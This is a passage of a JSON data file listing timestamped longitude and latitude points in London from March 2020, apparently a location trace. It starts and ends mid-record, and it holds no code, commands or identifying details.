3869691773,"longitude":-0.07914764872330259,"latitude":51.50512260825635},{"time":1583869695024,"longitude":-0.11494873843970292,"latitude":51.53433435262129},{"time":1583869803358,"longitude":-0.0828762366618294,"latitude":51.50615926773824},{"time":1583869804235,"longitude":-0.11329235629708226,"latitude":51.53473526668748},{"time":1583869820496,"longitude":-0.084139794608797,"latitude":51.49888354861651},{"time":1583869870235,"longitude":-0.09026239400999386,"latitude":51.50251198073818},{"time":1583869898064,"longitude":-0.0835621592939817,"latitude":51.50146183038853},{"time":1583869975568,"longitude":-0.07871585874154026,"latitude":51.49733267219853},{"time":1583869985696,"longitude":-0.0840850700406601,"latitude":51.50723575012069},{"time":1583870021170,"longitude":-0.11373800441877158,"latitude":51.522935835604535},{"time":1583870026914,"longitude":-0.07818559536989549,"latitude":51.5063845189747},{"time":1583870050021,"longitude":-0.08285130470161481,"latitude":51.50412574704137},{"time":1583870482298,"longitude":-0.10523798700908416,"latitude":51.533924282425},{"time":1583870695830,"longitude":-0.10812159478548859,"latitude":51.53494516426608},{"time":1583870721884,"longitude":-0.11087279489246507,"latitude":51.53949894830631},{"time":1583870733985,"longitude":-0.10800992532599905,"latitude":51.52538833286676},{"time":1583870846522,"longitude":-0.10800959987995223,"latitude":51.53813977471495},{"time":1583870849372,"longitude":-0.11023607917871983,"latitude":51.55215451790726},{"time":1583871017393,"longitude":-0.09880322930777698,"latitude":51.5304840965177},{"time":1583871228141,"longitude":-0.10585813672093726,"latitude":51.53627449784452},{"time":1583871231771,"longitude":-0.11479001156782563,"latitude":51.526216066069395},{"time":1583871682399,"longitude":-0.10404732848828788,"latitude":51.53995239590167},{"time":1583871693012,"longitude":-0.1014855406306641,"latitude":51.546276284815555},{"time":1583871797902,"longitude":-0.10715225440139159,"latitude":51.53459686903382},{"time":1583871872083,"longitude":-0.10956816399647305,"latitude":51.55279349095002},{"time":1583872049642,"longitude":-0.11573646224350513,"latitude":51.52450065233709},{"time":1583872117512,"longitude":-0.10365529222191493,"latitude":51.529350867671575},{"time":1583923714252,"longitude":-0.1374341802092962,"latitude":51.539987692350174},{"time":1583923812853,"longitude":-0.14896253028355907,"latitude":51.54530201252281},{"time":1583923853493,"longitude":-0.10882822083827336,"latitude":51.560823262754376},{"time":1583923951322,"longitude":-0.13920490928994728,"latitude":51.544352868009014},{"time":1583924200369,"longitude":-0.13666580981869247,"latitude":51.53174028544049},{"time":1583925333272,"longitude":-0.12965711612129474,"latitude":51.54145971139843},{"time":1583925411193,"longitude":-0.13616444227788074,"latitude":51.566713601889745},{"time":1583925512569,"longitude":-0.13503985087397366,"latitude":51.56634242381488},{"time":1583925599780,"longitude":-0.14616575860513809,"latitude":51.55216305195982},{"time":1583925665450,"longitude":-0.14539350609384005,"latitude":51.57789298751569},{"time":1583925706541,"longitude":-0.16512026729338952,"latitude":51.53835795903414},{"time":1583925769805,"longitude":-0.1356367851439529,"latitude":51.56689395563251},{"time":1583925872593,"longitude":-0.13727350643277247,"latitude":51.56634234960205},{"time":1583925969504,"longitude":-0.13532878954415367,"latitude":51.56610074568089},{"time":1583926042547,"longitude":-0.16557696369441458,"latitude":51.551131119846985},{"time":1583926130984,"longitude":-0.1357781090895704,"latitude":51.57551787801888},{"time":1583926168294,"longitude":-0.15708475098001506,"latitude":51.546934901225114},{"time":1583926271156,"longitude":-0.13268739011395314,"latitude":51.56660467213583},{"time":1583926284048,"longitude":-0.1111061921607549,"latitude":51.580255328019305},{"time":1583926294998,"longitude":-0.14046729964726812,"latitude":51.56617234780484},{"time":1583926301492,"longitude":-0.1145310314575366,"latitude":51.58086099023621},{"time":1583926326520,"longitude":-0.14283304086295054,"latitude":51.55870039106456},{"time":1583926569738,"longitude":-0.14149657480037542,"latitude":51.566932236287386},{"time":1583926667081,"longitude":-0.1634728272724728,"latitude":51.57996689670185},{"time":1583926708075,"longitude":-0.14182803392261503,"latitude":51.56612081582329},{"time":1583926806330,"longitude":-0.13886670718687896,"latitude":51.56728591960794},{"time":1583926971995,"longitude":-0.16373877495216646,"latitude":51.53187801536271},{"time":1583926997868,"longitude":-0.13790504757476435,"latitude":51.56665802542964},{"time":1583927026922,"longitude":-0.12140281242566565,"latitude":51.579924844145964},{"time":1583927075843,"longitude":-0.13456540381651635,"latitude":51.566928642073364},{"time":1583927154177,"longitude":-0.11553610317968589,"latitude":51.53483024357673},{"time":1583927207560,"longitude":-0.10220791890572556,"latitude":51.53683480306537},{"time":1583927306207,"longitude":-0.13583015074218555,"latitude":51.56604502505491},{"time":1583927368036,"longitude":-0.15290613647360043,"latitude":51.54406667946223},{"time":1583927529293,"longitude":-0.14253292189625463,"latitude":51.566675987780435},{"time":1583927645080,"longitude":-0.1397150638806281,"latitude":51.56620073970672},{"time":1583927788005,"longitude":-0.13370499401751765,"latitude":51.566608157166314},{"time":1583927861394,"longitude":-0.1372499895253232,"latitude":51.56601656121605},{"time":1583927895679,"longitude":-0.13883086816710805,"latitude":51.56580665366572},{"time":1583928059032,"longitude":-0.1396419854596741,"latitude":51.56595166121917},{"time":1583928210758,"longitude":-0.13280414785935868,"latitude":51.56625315991231},{"time":1583928212083,"longitude":-0.10892728172320792,"latitude":51.532515138581495},{"time":1583928233924,"longitude":-0.10741544767259327,"latitude":51.53233414892402},{"time":1583928233978,"longitude":-0.10981384179762145,"latitude":51.53360167240926},{"time":1583928277081,"longitude":-0.13275654324869515,"latitude":51.56670174369484},{"time":1583928289417,"longitude":-0.13330172157396714,"latitude":51.56629161340204},{"time":1583928544972,"longitude":-0.13636007904544528,"latitude":51.5661734238619},{"time":1583928651390,"longitude":-0.11031092129984064,"latitude":51.53312480162222},{"time":1583928864707,"longitude":-0.1388700121078691,"latitude":51.56662069631128},{"time":1583928898936,"longitude":-0.13398732125233592,"latitude":51.56694534694034},{"time":1583929011040,"longitude":-0.10470984630327371,"latitude":51.53299360027815},{"time":1583929018413,"longitude":-0.14126365403867003,"latitude":51.566677425037625},{"time":1583929092256,"longitude":-0.11023924784582491,"latitude":51.53348682254028},{"time":1583929157026,"longitude":-0.10892861337659748,"latitude":51.53334775215994},{"time":1583929227185,"longitude":-0.10768643595771285,"latitude":51.532306719111226},{"time":1583929384736,"longitude":-0.10789533528866635,"latitude":51.53271586789062},{"time":1583929530168,"longitude":-0.10802164006914484,"latitude":51.53267305318285},{"time":1583929568365,"longitude":-0.11083100980330193,"latitude":51.53234394705285},{"time":1583929591767,"longitude":-0.10352144138963978,"latitude":51.531985702163716},{"time":1583929629409,"longitude":-0.10929876348883437,"latitude":51.53274482637351},{"time":1583929697299,"longitude":-0.107895669638057,"latitude":51.532673143233225},{"time":1583929712787,"longitude":-0.1036860305431582,"latitude":51.533532633500016},{"time":1583929776273,"longitude":-0.10789493760810151,"latitude":51.53268355707145},{"time":1583929795134,"longitude":-0.10986894128677592,"latitude":51.533238683622706},{"time":1583929932423,"longitude":-0.10593846897561768,"latitude":51.53255712064932},{"time":1583929935209,"longitude":-0.10797879849395868,"latitude":51.53266998341003},{"time":1583929993377,"longitude":-0.1079320304180156,"latitude":51.532676163395024},{"time":1583930048146,"longitude":-0.10780237197433815,"latitude":51.532707605401264},{"time":1583930078980,"longitude":-0.1079893087128326,"latitude":51.53271715277905},{"time":1583930101557,"longitude":-0.1092431673798806,"latitude":51.53315463729393},{"time":1583930133380,"longitude":-0.10794762379878566,"latitude":51.5327060146957},{"time":1583930193952,"longitude":-0.1079898698486019,"latitude":51.532698655990984},{"time":1583930324588,"longitude":-0.10796821177233443,"latitude":51.53273151670797},{"time":1583930391919,"longitude":-0.10796453468278511,"latitude":51.53265931752825},{"time":1583930489962,"longitude":-0.10779122224290158,"latitude":51.53268752063086},{"time":1583930542486,"longitude":-0.10328548260288957,"latitude":51.53243001675042},{"time":1583930617285,"longitude":-0.10784587395270444,"latitude":51.532677964858514},{"time":1583930720762,"longitude":-0.1079359557795832,"latitude":51.53270181085205},{"time":1583930732383,"longitude":-0.10800523040646251,"latitude":51.5326933619434},{"time":1583930800034,"longitude":-0.10785680088415228,"latitude":51.532673539382},{"time":1583930818056,"longitude":-0.10780895539958997,"latitude":51.53268087136871},{"time":1583930822922,"longitude":-0.10801887189401496,"latitude":51.532665692147305},{"time":1583930901449,"longitude":-0.10799270732829896,"latitude":51.532671587476116},{"time":1583930968086,"longitude":-0.10793127170712377,"latitude":51.532680519345966},{"time":1583930969754,"longitude":-0.10781206884047553,"latitude":51.532712369823436},{"time":1583930973443,"longitude":-0.10794353115457044,"latitude":51.53268284466712},{"time":1583931116003,"longitude":-0.1078481277006182,"latitude":51.53272128578597},{"time":1583931312079,"longitude":-0.12967434527115346,"latitude":51.53296177635799},{"time":1583931324904,"longitude":-0.09838766968905847,"latitude":51.53227187570385},{"time":1583931332329,"longitude":-0.10791061655233876,"latitude":51.532685622304804},{"time":1583931378471,"longitude":-0.1077247778054935,"latitude":51.53268865972045},{"time":1583931705750,"longitude":-0.1077553222571938,"latitude":51.53274356928684},{"time":1583931776079,"longitude":-0.1077381661073801,"latitude":51.5327040580355},{"time":1583931858610,"longitude":-0.10798975525990133,"latitude":51.53274892702843},{"time":1583931872902,"longitude":-0.14172011233277934,"latitude":51.53219548301349},{"time":1583932035348,"longitude":-0.107730169879743,"latitude":51.53266057043437},{"time":1583932050794,"longitude":-0.10788611842452608,"latitude":51.532658581539955},{"time":1583932115380,"longitude":-0.11940224020396768,"latitude":51.532396817880105},{"time":1583932145461,"longitude":-0.10777521889017405,"latitude":51.53266694076862},{"time":1583932197339,"longitude":-0.1412351365216758,"latitude":51.533199727123},{"time":1583932239524,"longitude":-0.10798517606448439,"latitude":51.53269407048498},{"time":1583932352662,"longitude":-0.0808976322727836,"latitude":51.53240515553061},{"time":1583932379525,"longitude":-0.11843545958948273,"latitude":51.53214904116855},{"time":1583932394409,"longitude":-0.12028193231607437,"latitude":51.53222163846615},{"time":1583932490996,"longitude":-0.13511654290343744,"latitude":51.53306305781741},{"time":1583932542863,"longitude":-0.1312766492355205,"latitude":51.53347579236309},{"time":1583932568387,"longitude":-0.11785793270580239,"latitude":51.53231468613069},{"time":1583932572736,"longitude":-0.1079430636873045,"latitude":51.532663938770796},{"time":1583932614975,"longitude":-0.09897658959804319,"latitude":51.53306434818073},{"time":1583932692156,"longitude":-0.1218171650284832,"latitude":51.532746319801376},{"time":1583932747521,"longitude":-0.16326984407982048,"latitude":51.50065185424725},{"time":1583932839900,"longitude":-0.10672212195189876,"latitude":51.53208538019739},{"time":1583932974027,"longitude":-0.09632551414444138,"latitude":51.53340568094496},{"time":1583933008565,"longitude":-0.10255432633635879,"latitude":51.53236299582966},{"time":1583933052357,"longitude":-0.0817977559693476,"latitude":51.53351018411543},{"time":1583933091970,"longitude":-0.16195132599703033,"latitude":51.50181988379449},{"time":1583933115173,"longitude":-0.16301677628733388,"latitude":51.49945304420843},{"time":1583933131577,"longitude":-0.16215149458434996,"latitude":51.50148742064107},{"time":1583933367422,"longitude":-0.12228193301847404,"latitude":51.53260859636478},{"time":1583933436089,"longitude":-0.13260441560583364,"latitude":51.53199951434313},{"time":1583933468589,"longitude":-0.08465058873065588,"latitude":51.53343191215662},{"time":1583933481305,"longitude":-0.11600107234372052,"latitude":51.533080298441526},{"time":1583933483333,"longitude":-0.15897308824259662,"latitude":51.499318078852184},{"time":1583933492217,"longitude":-0.16551694703973108,"latitude":51.49879791117123},{"time":1583933613708,"longitude":-0.1633645270905748,"latitude":51.49979483391346},{"time":1583933693637,"longitude":-0.16000243002230974,"latitude":51.50108952004921},{"time":1583933871970,"longitude":-0.16252066530975157,"latitude":51.50094638798456},{"time":1583933876725,"longitude":-0.1637822085843348,"latitude":51.50086969658603},{"time":1583933895757,"longitude":-0.16419786673856257,"latitude":51.50078293625405},{"time":1583933994423,"longitude":-0.1616299633378941,"latitude":51.499946276641104},{"time":1583934014683,"longitude":-0.16608703035660025,"latitude":51.50213391230701},{"time":1583934033152,"longitude":-0.16434584688274942,"latitude":51.499690313343415},{"time":1583934137171,"longitude":-0.16125149564593236,"latitude":51.49907920954269},{"time":1583934368786,"longitude":-0.16298749999999998,"latitude":51.50032460000006},{"time":1583934397407,"longitude":-0.16298749999999998,"latitude":51.50032459999997},{"time":1583934426250,"longitude":-0.16298749999999998,"latitude":51.500324599999985},{"time":1583934466897,"longitude":-0.16298749999999998,"latitude":51.500324600000056},{"time":1583934486175,"longitude":-0.1630821339628025,"latitude":51.50140811267347},{"time":1583934499187,"longitude":-0.16298749999999998,"latitude":51.500324599999956},{"time":1583934617102,"longitude":-0.16002319690625513,"latitude":51.49908270676566},{"time":1583934712512,"longitude":-0.16298749999999998,"latitude":51.50032459999996},{"time":1583934988427,"longitude":-0.16298749999999998,"latitude":51.500324600000006},{"time":1583935093822,"longitude":-0.1614277489321168,"latitude":51.50178558292971},{"time":1583935195925,"longitude":-0.15886060169484215,"latitude":51.50106433396692},{"time":1583935264672,"longitude":-0.1619730608541334,"latitude":51.50076494086929},{"time":1583935352202,"longitude":-0.16298749999999998,"latitude":51.5003246},{"time":1583935403516,"longitude":-0.16534097225979413,"latitude":51.500206682845516},{"time":1583935482189,"longitude":-0.16495967074666745,"latitude":51.50195498853403},{"time":1583935484306,"longitude":-0.16298749999999998,"latitude":51.50032460000001},{"time":1583935503245,"longitude":-0.16298749999999998,"latitude":51.50032460000001},{"time":1583935624117,"longitude":-0.16610199817101834,"latitude":51.50092989757152},{"time":1583935917603,"longitude":-0.16597083701737173,"latitude":51.50225798122907},{"time":1583935953551,"longitude":-0.16298749999999998,"latitude":51.500324600000056},{"time":1583935971161,"longitude":-0.16298749999999998,"latitude":51.5003246},{"time":1583935989487,"longitude":-0.16298749999999998,"latitude":51.500324600000006},{"time":1583936037284,"longitude":-0.16546842608765014,"latitude":51.50191461115361},{"time":1583936041971,"longitude":-0.16298749999999998,"latitude":51.50032459999998},{"time":1583936104450,"longitude":-0.1630125572310369,"latitude":51.5002834410298},{"time":1583936107062,"longitude":-0.16298749999999998,"latitude":51.50032460000002},{"time":1583936126968,"longitude":-0.16437482276257434,"latitude":51.50168034978966},{"time":1583936151277,"longitude":-0.16298749999999998,"latitude":51.500324600000006},{"time":1583936222050,"longitude":-0.1635055455374289,"latitude":51.49931835646681},{"time":1583936257443,"longitude":-0.16298749999999998,"latitude":51.50032459999997},{"time":1583936285377,"longitude":-0.15931657694400375,"latitude":51.502233163591534},{"time":1583936330785,"longitude":-0.16299288535188014,"latitude":51.50032690022857},{"time":1583936348905,"longitude":-0.16206663927852585,"latitude":51.50051988381583},{"time":1583936439606,"longitude":-0.16298966583190191,"latitude":51.500318421427714},{"time":1583936481143,"longitude":-0.16294092182938108,"latitude":51.50034124848502},{"time":1583936504941,"longitude":-0.16298749999999998,"latitude":51.50032460000002},{"time":1583936516286,"longitude":-0.16295556003341988,"latitude":51.500332924487026},{"time":1583936745858,"longitude":-0.16298749999999998,"latitude":51.50032460000005},{"time":1583936766622,"longitude":-0.16298749999999998,"latitude":51.500324600000035},{"time":1583936804022,"longitude":-0.1629697891980621,"latitude":51.50032281845348},{"time":1583936962677,"longitude":-0.16297904928788523,"latitude":51.50033205857773},{"time":1583937001242,"longitude":-0.16298749999999998,"latitude":51.500324599999956},{"time":1583937045042,"longitude":-0.16296457653690513,"latitude":51.5002920423371},{"time":1583937055860,"longitude":-0.16298749999999998,"latitude":51.50032460000006},{"time":1583937236303,"longitude":-0.16302520784896082,"latitude":51.500287541112314},{"time":1583937301069,"longitude":-0.16298749999999998,"latitude":51.500324600000006},{"time":1583937425447,"longitude":-0.16298921500354466,"latitude":51.500339314238026},{"time":1583937445054,"longitude":-0.16303800915799715,"latitude":51.50033469990307},{"time":1583937553695,"longitude":-0.16298749999999998,"latitude":51.50032460000003},{"time":1583937703316,"longitude":-0.16572419988088177,"latitude":51.501271863095404},{"time":1583937818779,"longitude":-0.16590005262598914,"latitude":51.50065590614976},{"time":1583937848277,"longitude":-0.16298749999999998,"latitude":51.500324599999956},{"time":1583937976197,"longitude":-0.16052312325241783,"latitude":51.50085879358579},{"time":1583938116300,"longitude":-0.16299911143566517,"latitude":51.500351513967146},{"time":1583938213852,"longitude":-0.1630298723862547,"latitude":51.50033956646395},{"time":1583938269225,"longitude":-0.1631838441590758,"latitude":51.500316701011336},{"time":1583938297204,"longitude":-0.16294927201134293,"latitude":51.50032748355735},{"time":1583938321084,"longitude":-0.1629856013381297,"latitude":51.500290122173936},{"time":1583938361346,"longitude":-0.1630347226975714,"latitude":51.50031564996566},{"time":1583938586036,"longitude":-0.16300004641384044,"latitude":51.50031758549271},{"time":1583938613809,"longitude":-0.16302573281473828,"latitude":51.50031541256265},{"time":1583938631215,"longitude":-0.16298374041492475,"latitude":51.50033089810987},{"time":1583938684333,"longitude":-0.16173704017983528,"latitude":51.49954078527956},{"time":1583938693571,"longitude":-0.1625823763167241,"latitude":51.49926511004351},{"time":1583938720469,"longitude":-0.16297295146335783,"latitude":51.5003448226618},{"time":1583938784031,"longitude":-0.15964813201054653,"latitude":51.499406552982755},{"time":1583938793794,"longitude":-0.163024476045247,"latitude":51.5003376241281},{"time":1583938841627,"longitude":-0.16298839033149431,"latitude":51.500287175805276},{"time":1583938849698,"longitude":-0.1631918258483318,"latitude":51.49985767309514},{"time":1583938866048,"longitude":-0.16301559631090703,"latitude":51.50029962994174},{"time":1583939007603,"longitude":-0.1606293948662317,"latitude":51.49969904291037},{"time":1583939170879,"longitude":-0.16300815314014766,"latitude":51.50030643747152},{"time":1583939185339,"longitude":-0.1630224853110006,"latitude":51.500320105386606},{"time":1583939218158,"longitude":-0.1590862460622952,"latitude":51.500535105419665},{"time":1583939309302,"longitude":-0.1603666828252318,"latitude":51.50013934180337},{"time":1583939319711,"longitude":-0.16297275652582013,"latitude":51.50033333429047},{"time":1583939330747,"longitude":-0.1614421463898061,"latitude":51.50104269972008},{"time":1583939336230,"longitude":-0.1630060127144555,"latitude":51.500314763315494},{"time":1583939350997,"longitude":-0.16428093420468698,"latitude":51.50150904105198},{"time":1583939358021,"longitude":-0.16303369741201976,"latitude":51.50032921828373},{"time":1583939456245,"longitude":-0.1642183159029571,"latitude":51.5013891754564},{"time":1583939465252,"longitude":-0.16235507493698415,"latitude":51.50042968036231},{"time":1583939536872,"longitude":-0.1607753228130808,"latitude":51.49997874031505},{"time":1583939555822,"longitude":-0.16476239078345895,"latitude":51.50083344653427},{"time":1583939651099,"longitude":-0.16207250843502646,"latitude":51.50112466114569},{"time":1583939699013,"longitude":-0.16196840627569753,"latitude":51.500810381456944},{"time":1583939742306,"longitude":-0.15947526303673168,"latitude":51.49920774256111},{"time":1583939787981,"longitude":-0.16128765104293982,"latitude":51.50130895130955},{"time":1583939788537,"longitude":-0.16362066345077164,"latitude":51.49934613002003},{"time":1583939906496,"longitude":-0.16135723185573608,"latitude":51.500928160320335},{"time":1583939974541,"longitude":-0.16184783167064695,"latitude":51.500474606491686},{"time":1583939986204,"longitude":-0.1616443852787168,"latitude":51.50064822957175},{"time":1583940096212,"longitude":-0.16027683012753974,"latitude":51.50044905012909},{"time":1583940124261,"longitude":-0.16055203441585025,"latitude":51.50111689354733},{"time":1583940255878,"longitude":-0.16444804270644534,"latitude":51.50039184810938},{"time":1583940305268,"longitude":-0.1657448241748314,"latitude":51.50003142735458},{"time":1583940352812,"longitude":-0.1617206503985131,"latitude":51.499733904719875},{"time":1583940360534,"longitude":-0.16054519543449758,"latitude":51.49969614176051},{"time":1583940465739,"longitude":-0.16174116223911922,"latitude":51.50051210749347},{"time":1583940584322,"longitude":-0.1618465453709684,"latitude":51.50110801163803},{"time":1583940787649,"longitude":-0.16095347479245578,"latitude":51.50111307037153},{"time":1583940855815,"longitude":-0.1619128575561021,"latitude":51.50110849297918},{"time":1583940880316,"longitude":-0.16167252838791324,"latitude":51.50083203824408},{"time":1583941011420,"longitude":-0.1608150651998822,"latitude":51.500859179678685},{"time":1583941017072,"longitude":-0.16068688447004495,"latitude":51.50089789265587},{"time":1583941025783,"longitude":-0.16470358187829484,"latitude":51.501535687532325},{"time":1583941079422,"longitude":-0.16117956593385002,"latitude":51.500824617752606},{"time":1583941088154,"longitude":-0.16143257953635437,"latitude":51.500968510822936},{"time":1583941113297,"longitude":-0.16476044373446871,"latitude":51.500720515804225},{"time":1583941146537,"longitude":-0.1612747471406098,"latitude":51.50063086836338},{"time":1583941151539,"longitude":-0.16124221290608867,"latitude":51.50081266346886},{"time":1583941243065,"longitude":-0.1604709470023142,"latitude":51.500837073758994},{"time":1583941286886,"longitude":-0.15973888933904873,"latitude":51.50042249248331},{"time":1583941314719,"longitude":-0.16116668497091344,"latitude":51.50094697565258},{"time":1583941331636,"longitude":-0.16145668649212958,"latitude":51.50073277153261},{"time":1583941376233,"longitude":-0.160783491589208,"latitude":51.500478572610284},{"time":1583941378860,"longitude":-0.16116874026446262,"latitude":51.50086747758528},{"time":1583941413318,"longitude":-0.16118717659275597,"latitude":51.50084116060163},{"time":1583941454039,"longitude":-0.1609691091935172,"latitude":51.50060198554819},{"time":1583941464604,"longitude":-0.16123440073216877,"latitude":51.500875370578385},{"time":1583941504277,"longitude":-0.16132856227738077,"latitude":51.50101451854306},{"time":1583941526156,"longitude":-0.16143419008334606,"latitude":51.50044012796274},{"time":1583941537059,"longitude":-0.16207448862500154,"latitude":51.50046529629475},{"time":1583941797097,"longitude":-0.16131651676594663,"latitude":51.50082866850038},{"time":1583941846882,"longitude":-0.16121423517580857,"latitude":51.5009458402596},{"time":1583941940430,"longitude":-0.16194101707255631,"latitude":51.50052673232918},{"time":1583941973585,"longitude":-0.16119586768343733,"latitude":51.500969327398565},{"time":1583942029667,"longitude":-0.16101747899408828,"latitude":51.5005854130282},{"time":1583942180265,"longitude":-0.16132118656889885,"latitude":51.500887556011044},{"time":1583942182216,"longitude":-0.161249460648388,"latitude":51.500816392144046},{"time":1583942362381,"longitude":-0.16121222528854748,"latitude":51.500998036105095},{"time":1583942371187,"longitude":-0.16010967520520653,"latitude":51.500802724220996},{"time":1583942447340,"longitude":-0.16120049940340694,"latitude":51.50084250380701},{"time":1583942642866,"longitude":-0.161952217981975,"latitude":51.50100613524118},{"time":1583942708429,"longitude":-0.16076837970722563,"latitude":51.50115728510833},{"time":1583942755719,"longitude":-0.16127211782222198,"latitude":51.50085447055485},{"time":1583942793990,"longitude":-0.16131486583273957,"latitude":51.50086327345381},{"time":1583942838087,"longitude":-0.16116469928710211,"latitude":51.500949582176524},{"time":1583942926841,"longitude":-0.1607627903590841,"latitude":51.500863763649164},{"time":1583942944722,"longitude":-0.16001046129562124,"latitude":51.500555050985895},{"time":1583942988143,"longitude":-0.16117502445103374,"latitude":51.50090602717362},{"time":1583943004178,"longitude":-0.1611431848841259,"latitude":51.500895012318466},{"time":1583943215712,"longitude":-0.16123719336391068,"latitude":51.50081055602608},{"time":1583943565976,"longitude":-0.16123196364595804,"latitude":51.50091953781627},{"time":1583943571405,"longitude":-0.16114480895340313,"latitude":51.500987396594226},{"time":1583943637530,"longitude":-0.16119156756946884,"latitude":51.500964566907676},{"time":1583943697216,"longitude":-0.16114060673178193,"latitude":51.50100572759321},{"time":1583943752073,"longitude":-0.16118299338186015,"latitude":51.50087880499918},{"time":1583943946621,"longitude":-0.16129951970770914,"latitude":51.500886792633736},{"time":1583944084662,"longitude":-0.16121026942345848,"latitude":51.5009570711647},{"time":1583944149054,"longitude":-0.09903168439600094,"latitude":51.49589818015449},{"time":1583944149411,"longitude":-0.16118934898375226,"latitude":51.50084301603057},{"time":1583944155849,"longitude":-0.16126051018376625,"latitude":51.50092111196725},{"time":1583944159733,"longitude":-0.16123862709490866,"latitude":51.50090964166845},{"time":1583944212047,"longitude":-0.16128831018786113,"latitude":51.500906237785365},{"time":1583944227765,"longitude":-0.16115811819046055,"latitude":51.50083024946468},{"time":1583944275653,"longitude":-0.16117488382314055,"latitude":51.50096311472077},{"time":1583944291649,"longitude":-0.13166615934298953,"latitude":51.48036323373149},{"time":1583944336438,"longitude":-0.16130466462260662,"latitude":51.5008415415994},{"time":1583944361319,"longitude":-0.1611958617097944,"latitude":51.500886555058194},{"time":1583944406235,"longitude":-0.21282958794470902,"latitude":51.51703359471025},{"time":1583944453936,"longitude":-0.16124406526112708,"latitude":51.5010048164961},{"time":1583944498785,"longitude":-0.16118701700908658,"latitude":51.5008747780465},{"time":1583944552777,"longitude":-0.20754416823377117,"latitude":51.5264245886032},{"time":1583944591720,"longitude":-0.10489844422015338,"latitude":51.49451538604964},{"time":1583944770207,"longitude":-0.1612681378732325,"latitude":51.5009530663603},{"time":1583944822335,"longitude":-0.1612016626843672,"latitude":51.500932670853594},{"time":1583944897572,"longitude":-0.11226043885168185,"latitude":51.5036989311486},{"time":1583944943536,"longitude":-0.1612000366492149,"latitude":51.500879825777695},{"time":1583945101653,"longitude":-0.1611739124749276,"latitude":51.500963515051005},{"time":1583945125875,"longitude":-0.16126967643658585,"latitude":51.50094614362242},{"time":1583945376329,"longitude":-0.11881480728474937,"latitude":51.5491717699308},{"time":1583945700726,"longitude":-0.11761545219844491,"latitude":51.545905696987276},{"time":1583945735690,"longitude":-0.14625774476191167,"latitude":51.507429683889},{"time":1583945833722,"longitude":-0.11997676553235942,"latitude":51.546303686137854},{"time":1583945975864,"longitude":-0.11855509999748776,"latitude":51.54300368988722},{"time":1583946169182,"longitude":-0.11603020875323765,"latitude":51.54564926367242},{"time":1583946297270,"longitude":-0.11645393717371288,"latitude":51.491146976764504},{"time":1583946400915,"longitude":-0.1109186841085659,"latitude":51.54829168045697},{"time":1583946416400,"longitude":-0.12120948892633374,"latitude":51.54290492935815},{"time":1583946424501,"longitude":-0.10494251807879978,"latitude":51.543533296223806},{"time":1583946447396,"longitude":-0.18519145496692993,"latitude":51.51143316304849},{"time":1583946633508,"longitude":-0.10727491907401888,"latitude":51.54843042185263},{"time":1583946693417,"longitude":-0.12352481173973591,"latitude":51.49420325854617},{"time":1583946725395,"longitude":-0.12079992758051247,"latitude":51.54649348055216},{"time":1583946755787,"longitude":-0.10674157336863749,"latitude":51.5459325583741},{"time":1583946824554,"longitude":-0.1118461691675921,"latitude":51.54695990668159},{"time":1583947382684,"longitude":-0.10744025276985643,"latitude":51.546676787123786},{"time":1583947513523,"longitude":-0.11925882082548664,"latitude":51.54781471648378},{"time":1583947566020,"longitude":-0.1098265068863338,"latitude":51.54683881053766},{"time":1583948151921,"longitude":-0.12026226907097322,"latitude":51.545256943222796},{"time":1583948290914,"longitude":-0.110363011980069,"latitude":51.544109451075286},{"time":1583948330941,"longitude":-0.11800554369809702,"latitude":51.5471669245337},{"time":1583948503087,"longitude":-0.11266958566801774,"latitude":51.54338044447562},{"time":1583948568947,"longitude":-0.10835760107333484,"latitude":51.54534785755434},{"time":1583949028548,"longitude":-0.1100017212003456,"latitude":51.545958525130715},{"time":1583949046746,"longitude":-0.11437402280403236,"latitude":51.546797747770455},{"time":1583949193051,"longitude":-0.11766296128682965,"latitude":51.54406387572095},{"time":1583994905613,"longitude":-0.10700312064924618,"latitude":51.54505509206546},{"time":1583994990557,"longitude":-0.05023722249736631,"latitude":51.4726423584955},{"time":1583995246043,"longitude":-0.10874106148947339,"latitude":51.519868972823524},{"time":1583996253952,"longitude":-0.10738279827494496,"latitude":51.497796809593595},{"time":1583997261306,"longitude":-0.09951291153502864,"latitude":51.47594655690557},{"time":1583997334788,"longitude":-0.11449208364719951,"latitude":51.60767500853645},{"time":1583997674804,"longitude":-0.06311001586505108,"latitude":51.47781180519146},{"time":1583998065570,"longitude":-0.1145790406536867,"latitude":51.605943544391884},{"time":1583998088500,"longitude":-0.06721623870195204,"latitude":51.47429444130252},{"time":1583998762823,"longitude":-0.0747480712725774,"latitude":51.52353070068366},{"time":1583999478970,"longitude":-0.0704671975928815,"latitude":51.569348471830615},{"time":1583999580351,"longitude":-0.09528072472523466,"latitude":51.46960683502871},{"time":1583999759287,"longitude":-0.08812688292827804,"latitude":51.54051853966166},{"time":1583999772411,"longitude":-0.12115280080565857,"latitude":51.600120745259936},{"time":1584000329523,"longitude":-0.09463991190452527,"latitude":51.50504044021861},{"time":1584000395167,"longitude":-0.13720147171775582,"latitude":51.58041131888848},{"time":1584000823618,"longitude":-0.12739026496482775,"latitude":51.57963068775001},{"time":1584001079952,"longitude":-0.07852161231971401,"latitude":51.5024357923074},{"time":1584001135558,"longitude":-0.1288053067902302,"latitude":51.555065545785375},{"time":1584001421669,"longitude":-0.11908052201668866,"latitude":51.52522043831354},{"time":1584001902403,"longitude":-0.0576289202553065,"latitude":51.558224582365106},{"time":1584002454499,"longitude":-0.1265238808251247,"latitude":51.480779342001746},{"time":1584002499457,"longitude":-0.0738015101583244,"latitude":51.604640323348555},{"time":1584002782679,"longitude":-0.08892581512437894,"latitude":51.60627716763604},{"time":1584004202951,"longitude":-0.09851503907943046,"latitude":51.49500743703956},{"time":1584004299112,"longitude":-0.13839913681345614,"latitude":51.57501406062803},{"time":1584004432186,"longitude":-0.10485180837791838,"latitude":51.553129969114366},{"time":1584004814170,"longitude":-0.06336147618506727,"latitude":51.45480212853175},{"time":1584004826494,"longitude":-0.057761214953567445,"latitude":51.52897085910817},{"time":1584004863973,"longitude":-0.11914276330324726,"latitude":51.4756880928501},{"time":1584004928942,"longitude":-0.04794691022891631,"latitude":51.46980727186144},{"time":1584005278833,"longitude":-0.08477810249622703,"latitude":51.54729787340127},{"time":1584005944175,"longitude":-0.12896719724000943,"latitude":51.456693056379166},{"time":1584010688762,"longitude":-0.08595059346091827,"latitude":51.49996370203812},{"time":1584024760695,"longitude":-0.08490344034655832,"latitude":51.49951560799099},{"time":1584026059372,"longitude":-0.08621484666809165,"latitude":51.499987960241725},{"time":1584026059880,"longitude":-0.08658946575662607,"latitude":51.49969163318926},{"time":1584026402972,"